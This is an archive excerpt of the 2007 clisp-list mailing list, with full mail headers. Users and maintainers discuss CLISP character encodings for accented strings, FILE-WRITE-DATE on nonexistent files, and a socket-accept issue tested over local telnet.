(memory 3382404154) > Software: GNU C 3.3.5 (Debian 1:3.3.5-13) > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations > -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -I. -x none libcharset.a > libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl > -L/usr/lib -lsigsegv -L/usr/X11R6/lib -lX11 > SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS > SPVW_MIXED TRIVIALMAP_MEMORY > libreadline 5.0 > Features: > (ASDF CLC-OS-DEBIAN COMMON-LISP-CONTROLLER CLX-ANSI-COMMON-LISP CLX > READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP > CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS > LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE > BASE-CHAR=CHARACTER PC386 UNIX) > C Modules: (clisp i18n syscalls regexp readline linux clx) > Installation directory: /usr/lib/clisp/ > User language: ENGLISH > Machine: I686 (I686) colinux > > ------------------------------------------------------------------------- > Take Surveys. Earn Cash. Influence the Future of IT > Join SourceForge.net's Techsay panel and you'll get the chance to share your > opinions on IT & business topics through brief surveys-and earn cash > http://www.techsay.com/default.php?page=join.php&p=sourceforge&CID=DEVDEV > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From phiroc@free.fr Sat Mar 24 15:16:52 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVEXc-0007Uk-8M for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 15:16:52 -0700 Received: from smtp8-g19.free.fr ([212.27.42.65]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVEXY-0003pI-If for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 15:16:51 -0700 Received: from [10.0.1.3] (nas-cbv-5-62-147-70-192.dial.proxad.net [62.147.70.192]) by smtp8-g19.free.fr (Postfix) with ESMTP id 3F25C16BE8 for ; Sat, 24 Mar 2007 23:16:46 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: quoted-printable Message-Id: Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Philippe de Rochambeau Date: Sat, 24 Mar 2007 23:16:42 +0100 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Newbie: embedding foreign accents in strings X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 Mar 2007 22:16:53 -0000 Hello, how do you embed foreign accents in strings, in Clisp, ? eg, (print =20 "=E9l=E9phant"). Furthermore, how do you load files containing foreign accents ; eg ; Ce programme contient des accents =E9trangers (this program contains =20= foreign accents) (print "Les =E9l=E9phants sont arriv=E9s dans la ville") Many thanks. phiroc= From sds@gnu.org Sat Mar 24 18:18:22 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVHNG-0007KF-K2 for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 18:18:22 -0700 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVHND-0006Of-2Z for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 18:18:22 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JFF004XFQABFUE0@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 21:18:12 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 848B821E055; Sat, 24 Mar 2007 21:18:11 -0400 (EDT) Date: Sat, 24 Mar 2007 21:18:11 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Yuri Niyazov Mail-followup-to: clisp-list@lists.sourceforge.net, Yuri Niyazov Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.96 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] question about CLISP's implementation of file-write-date X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 Mar 2007 01:18:22 -0000 > * Yuri Niyazov [2007-03-23 17:37:45 -0400]: > > [2]> (file-write-date "/bin/ping2") > > *** - FILE-WRITE-DATE: file #P"/bin/ping2" does not exist > The following restarts are available: > ABORT :R1 ABORT > > My installation of Allegro Common Lisp returns NIL in the second > (non-existent file) case. > > The hyperspec (http://www.lisp.org/HyperSpec/Body/fun_file-write-date.html) > says: > > --start quote-- > Description: > > Returns a universal time representing the time at which the file > specified by pathspec was last written (or created), or returns nil if > such a time cannot be determined. > --snip-- > An error of type file-error is signaled if the file system cannot > perform the requested operation. > --end quote-- > > My specific question is - is this a known ambiguity in the > specification of ANSI CL, and different implementations purposefully > choose different results, is this an oversight of the authors of PAIP, > or is this a CLisp issue? CLISP takes the view that the FILE-WRITE-DATE for a non-existent file does not make sense, thus an error is signaled. I think this is within the bounds set by the standard. what you want is probably something like (and (probe-file foo) (file-write-date foo)) -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://truepeace.org http://memri.org http://dhimmi.com http://ffii.org http://jihadwatch.org http://mideasttruth.com http://thereligionofpeace.com Never succeed from the first try - if you do, nobody will think it was hard. From sds@gnu.org Sat Mar 24 18:20:42 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVHPV-0007Wl-Tj for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 18:20:42 -0700 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVHPS-0006xI-Ta for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 18:20:41 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JFF0019AQE8XZJ0@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 21:20:33 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id A001021E055; Sat, 24 Mar 2007 21:20:32 -0400 (EDT) Date: Sat, 24 Mar 2007 21:20:32 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Philippe de Rochambeau Mail-followup-to: clisp-list@lists.sourceforge.net, Philippe de Rochambeau Message-id: MIME-version: 1.0 Content-type: text/plain; charset=utf-8 Content-transfer-encoding: quoted-printable Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.96 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Newbie: embedding foreign accents in strings X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 Mar 2007 01:20:42 -0000 > * Philippe de Rochambeau [2007-03-24 23:16:42 +0100]: > > how do you embed foreign accents in strings, in Clisp, ? eg, (print=20=20 > "=C3=A9l=C3=A9phant"). you already did it above! > Furthermore, how do you load files containing foreign accents http://clisp.cons.org/impnotes/encoding.html http://clisp.cons.org/impnotes/stream-dict.html#extfmt --=20 Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://memri.org http://camera.org http://openvotingconsortium.org http://pmw.org.il http://honestreporting.com http://thereligionofpeace.com Money does not "play a role", it writes the scenario. From phiroc@free.fr Sun Mar 25 11:36:51 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVXaF-0007T1-CF for clisp-list@lists.sourceforge.net; Sun, 25 Mar 2007 11:36:51 -0700 Received: from smtp7-g19.free.fr ([212.27.42.64]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVXaC-00045Q-QD for clisp-list@lists.sourceforge.net; Sun, 25 Mar 2007 11:36:51 -0700 Received: from [10.0.1.2] (c5850-a4-2-62-147-39-94.dial.proxad.net [62.147.39.94]) by smtp7-g19.free.fr (Postfix) with ESMTP id B011A1568D for ; Sun, 25 Mar 2007 20:36:45 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable From: Philippe de Rochambeau Date: Sun, 25 Mar 2007 20:36:43 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Newbie: embedding foreign accents in strings X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 Mar 2007 18:36:51 -0000 Whenever you load lisp programs in clisp on Macosx 10.4, you get the =20 following error messages: A) File contains Unix line endings + Western ISO Latin 1 Character =20 Encoding [1]> (load "elephant.lisp") ;; Loading file elephant.lisp ... *** - invalid byte #xE9 in CHARSET:ASCII conversion The following restarts are available: ABORT :R1 ABORT Break 1 [2]> :r1 B) File contains MacOS line endings + Western Roman Character Encoding [3]> (load "elephant.lisp") ;; Loading file elephant.lisp ... *** - invalid byte #x8E in CHARSET:ASCII conversion The following restarts are available: ABORT :R1 ABORT Break 1 [4]> I now know why: because the LC and LC_ALL system variables are not =20 set by default on MacOSX, CLISP defaults to the ASCII charset. Setting the following CLISP variables (SETF CUSTOM:*DEFAULT-FILE-ENCODING* "ISO-8859-1") (SETF CUSTOM:*PATHNAME-ENCODING* "ISO-8859-1") (SETF CUSTOM:*TERMINAL-ENCODING* "ISO-8859-1") (SETF CUSTOM:*FOREIGN-ENCODING* "ISO-8859-1") in .clisprc.lisp file solves the problem You now type accented characters in the REPL: (print "=E9l=E9phant") and load files containing accents ; this is a comment with accented words: =E9l=E9phant phiroc On 25 mars 07, at 03:20, Sam Steingold wrote: >> * Philippe de Rochambeau [2007-03-24 23:16:42 =20 >> +0100]: >> >> how do you embed foreign accents in strings, in Clisp, ? eg, (print >> "=E9l=E9phant"). > > you already did it above! > >> Furthermore, how do you load files containing foreign accents > > http://clisp.cons.org/impnotes/encoding.html > http://clisp.cons.org/impnotes/stream-dict.html#extfmt > > --=20 > Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) > http://memri.org http://camera.org http://openvotingconsortium.org > http://pmw.org.il http://honestreporting.com http://=20 > thereligionofpeace.com > Money does not "play a role", it writes the scenario. > From sds@gnu.org Sun Mar 25 14:18:25 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVa6b-0006QT-G1 for clisp-list@lists.sourceforge.net; Sun, 25 Mar 2007 14:18:25 -0700 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVa6Y-0003a7-UW for clisp-list@lists.sourceforge.net; Sun, 25 Mar 2007 14:18:25 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JFH00AJH9UHQDA0@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 25 Mar 2007 17:18:17 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id DD86A21E055; Sun, 25 Mar 2007 17:18:16 -0400 (EDT) Date: Sun, 25 Mar 2007 17:18:16 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Philippe de Rochambeau Mail-followup-to: clisp-list@lists.sourceforge.net, Philippe de Rochambeau Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.96 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Newbie: embedding foreign accents in strings X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 Mar 2007 21:18:25 -0000 > * Philippe de Rochambeau [2007-03-25 20:36:43 +0200]: > > *** - invalid byte #xE9 in CHARSET:ASCII conversion http://clisp.cons.org/impnotes/faq.html#faq-enc-err -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://pmw.org.il http://honestreporting.com http://ffii.org http://camera.org http://mideasttruth.com http://openvotingconsortium.org http://jihadwatch.org Those who beat their swords into plowshares plow for those who do not. From pjb@informatimago.com Mon Mar 26 01:15:22 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVkMM-0007xu-8u for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 01:15:22 -0700 Received: from voyager.informatimago.com ([88.198.62.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVkMK-0001I7-O0 for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 01:15:22 -0700 Received: by voyager.informatimago.com (Postfix, from userid 1000) id 61FD4E1802D; Mon, 26 Mar 2007 10:15:24 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17927.33052.369983.528200@voyager.informatimago.com> Date: Mon, 26 Mar 2007 10:15:24 +0200 To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 7.19 under Emacs 22.0.94.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yuri Niyazov Subject: Re: [clisp-list] question about CLISP's implementation of file-write-date X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 26 Mar 2007 08:15:22 -0000 Sam Steingold writes: > CLISP takes the view that the FILE-WRITE-DATE for a non-existent file > does not make sense, thus an error is signaled. > I think this is within the bounds set by the standard. Which is reasonable. > what you want is probably something like > > (and (probe-file foo) > (file-write-date foo)) In portable code, you probably should embed that in a IGNORE-ERRORS. In clisp, PROBE-FILE signals an error when the path leads to a directory while some other implementation in the same OS just returns T (or NIL). (It is also somewhat reasonable for PROBE-FILE to signal an error when it's given a directory, the problem being more in the specifications, than in the implementations. Nowadays, there's CFFI, so one could design a clean POSIX file system access library for CL). -- __Pascal Bourguignon__ http://www.informatimago.com http://pjb.ogamita.org From pjb@informatimago.com Mon Mar 26 02:17:03 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVlK2-0005Ro-O0 for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 02:17:02 -0700 Received: from voyager.informatimago.com ([88.198.62.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVlK1-0005Py-19 for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 02:17:02 -0700 Received: by voyager.informatimago.com (Postfix, from userid 1000) id E009FE1802D; Mon, 26 Mar 2007 11:17:05 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17927.36753.904429.633341@voyager.informatimago.com> Date: Mon, 26 Mar 2007 11:17:05 +0200 To: Philippe de Rochambeau In-Reply-To: References: X-Mailer: VM 7.19 under Emacs 22.0.94.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Newbie: embedding foreign accents in strings X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 26 Mar 2007 09:17:03 -0000 Philippe de Rochambeau writes: > Setting the following CLISP variables > > (SETF CUSTOM:*DEFAULT-FILE-ENCODING* "ISO-8859-1") > (SETF CUSTOM:*PATHNAME-ENCODING* "ISO-8859-1") > (SETF CUSTOM:*TERMINAL-ENCODING* "ISO-8859-1") > (SETF CUSTOM:*FOREIGN-ENCODING* "ISO-8859-1") > > > in .clisprc.lisp file solves the problem > > You now type accented characters in the REPL: > > (print "éléphant") > > and load files containing accents > > ; this is a comment with accented words: éléphant BEWARE! This may be wrong (and probably is). If you have a UTF-8 terminal and UTF-8 files, (and on MacOSX you easily have UTF-8), configuring ISO-8859-1 may look like it works, while it doesn't really. Try: (length "éléphant"); if you get 8, it's ok. Otherwise, you are sending a UTF-8 byte sequence from the keyboard (or file) which is decoded to characters as an ISO-8859-1 byte sequence in clisp, and then reencoded from characters as an ISO-8859-1 byte sequence, eventually interpreted as a UTF-8 byte sequence by the terminal. Notably, the file system pathnames on MacOSX are encoded in UTF-8, not in ISO-8859-1, so at least for this one you don't have a choice. -- __Pascal Bourguignon__ http://www.informatimago.com http://pjb.ogamita.org From mark@voortman.name Mon Mar 26 14:41:46 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HVwwk-00018g-BS for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 14:41:46 -0700 Received: from 81-171-30-100.dsl.fiberworld.nl ([81.171.30.100] helo=server.voortman.name) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HVwwi-000700-Vv for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 14:41:46 -0700 Received: from voortman.name (unknown [IPv6:::1]) by server.voortman.name (Postfix) with ESMTP id D545F10049E4 for ; Mon, 26 Mar 2007 23:41:41 +0200 (CEST) Received: from 136.142.118.78 (SquirrelMail authenticated user mark) by voortman.name with HTTP; Mon, 26 Mar 2007 23:41:41 +0200 (CEST) Message-ID: <4059.136.142.118.78.1174945301.squirrel@voortman.name> Date: Mon, 26 Mar 2007 23:41:41 +0200 (CEST) From: "Mark Voortman" To: clisp-list@lists.sourceforge.net User-Agent: SquirrelMail/1.4.9a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] socket-accept problem X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: mark@voortman.name List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 26 Mar 2007 21:41:46 -0000 Hello, I'm either doing something wrong or I found a bug. Socket-accept works fine as long as you close the stream it returns before calling socket-accept again. If I don't close the stream it will hang on the second call to socket-accept. This is not a convenient situation when you want to multiplex. I tried to use the :backlog keyword but without any effect. I'm using CLISP 2.41 on OpenBSD 4.0. Any suggestions are welcome. Thanks, Mark From sds@gnu.org Mon Mar 26 20:03:09 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HW1xj-0006N0-Ow for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 20:03:09 -0700 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HW1xi-0001ZV-4n for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 20:03:07 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JFJ0012BKGZDDE0@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 23:03:00 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 485EF21E055; Mon, 26 Mar 2007 23:02:59 -0400 (EDT) Date: Mon, 26 Mar 2007 23:02:58 -0400 From: Sam Steingold In-reply-to: <4059.136.142.118.78.1174945301.squirrel@voortman.name> To: clisp-list@lists.sourceforge.net, mark@voortman.name Mail-followup-to: clisp-list@lists.sourceforge.net, mark@voortman.name Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <4059.136.142.118.78.1174945301.squirrel@voortman.name> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.96 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] socket-accept problem X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 Mar 2007 03:03:09 -0000 > * Mark Voortman [2007-03-26 23:41:41 +0200]: > > I'm either doing something wrong or I found a bug. Socket-accept works > fine as long as you close the stream it returns before calling > socket-accept again. If I don't close the stream it will hang on the > second call to socket-accept. This is not a convenient situation when > you want to multiplex. I tried to use the :backlog keyword but without > any effect. I'm using CLISP 2.41 on OpenBSD 4.0. Any suggestions are > welcome. I just tested it on linux and I do not observe a bug: in 3 xterms: [1] $ clisp [1]> (setq s (socket-server)) # [2]> (setq s1 (socket-accept s)) # [3]> (setq s2 (socket-accept s)) # [4]> (close s1) T [5]> (close s2) T [2] $ telnet localhost 45289 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Connection closed by foreign host. $ [3] $ telnet localhost 45289 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Connection closed by foreign host. $ please do debug this. you can try strace if you do not want to use gdb. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://ffii.org http://camera.org http://openvotingconsortium.org http://thereligionofpeace.com http://truepeace.org http://honestreporting.com Parachute for sale, used once, never opened, small stain. From mark@voortman.name Mon Mar 26 20:29:14 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HW2Mw-0000RD-0E for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 20:29:14 -0700 Received: from 81-171-30-100.dsl.fiberworld.nl ([81.171.30.100] helo=server.voortman.name) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HW2Mt-000803-UC for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 20:29:09 -0700 Received: from voortman.name (unknown [IPv6:::1]) by server.voortman.name (Postfix) with ESMTP id 4908E10049E4; Tue, 27 Mar 2007 05:29:04 +0200 (CEST) Received: from 136.142.118.76 (SquirrelMail authenticated user mark) by voortman.name with HTTP; Tue, 27 Mar 2007 05:29:04 +0200 (CEST) Message-ID: <7631.136.142.118.76.1174966144.squirrel@voortman.name> In-Reply-To: References: <4059.136.142.118.78.1174945301.squirrel@voortman.name> Date: Tue, 27 Mar 2007 05:29:04 +0200 (CEST) From: "Mark Voortman" To: clisp-list@lists.sourceforge.net, sds@gnu.org User-Agent: SquirrelMail/1.4.9a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] socket-accept problem X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: mark@voortman.name List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 27 Mar 2007 03:29:14 -0000 > I just tested it on linux and I do not observe a bug: > in 3 xterms: Thanks for your reply, Sam. I replicated your test procedure and it indeed works. So the problem is probably somewhere in my own code, sorry about that. I'll dig into it tomorrow. Cheers, Mark From yuri.niyazov@gmail.com Mon Mar 26 21:13:30 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HW33p-0004hL-UA for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 21:13:30 -0700 Received: from nz-out-0506.google.com ([64.233.162.239]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HW33o-0001OJ-Je for clisp-list@lists.sourceforge.net; Mon, 26 Mar 2007 21:13:29 -0700 Received: by nz-out-0506.google.com with SMTP id i11so2333907nzi for ; Mon, 26 Mar 2007 21:13:28 -0700 (PDT) Received: by 10.65.219.20 with SMTP id w20mr14647801qbq.1174968807841; Mon, 26 Mar 2007 21:13:27 -0700 (PDT) Received: by 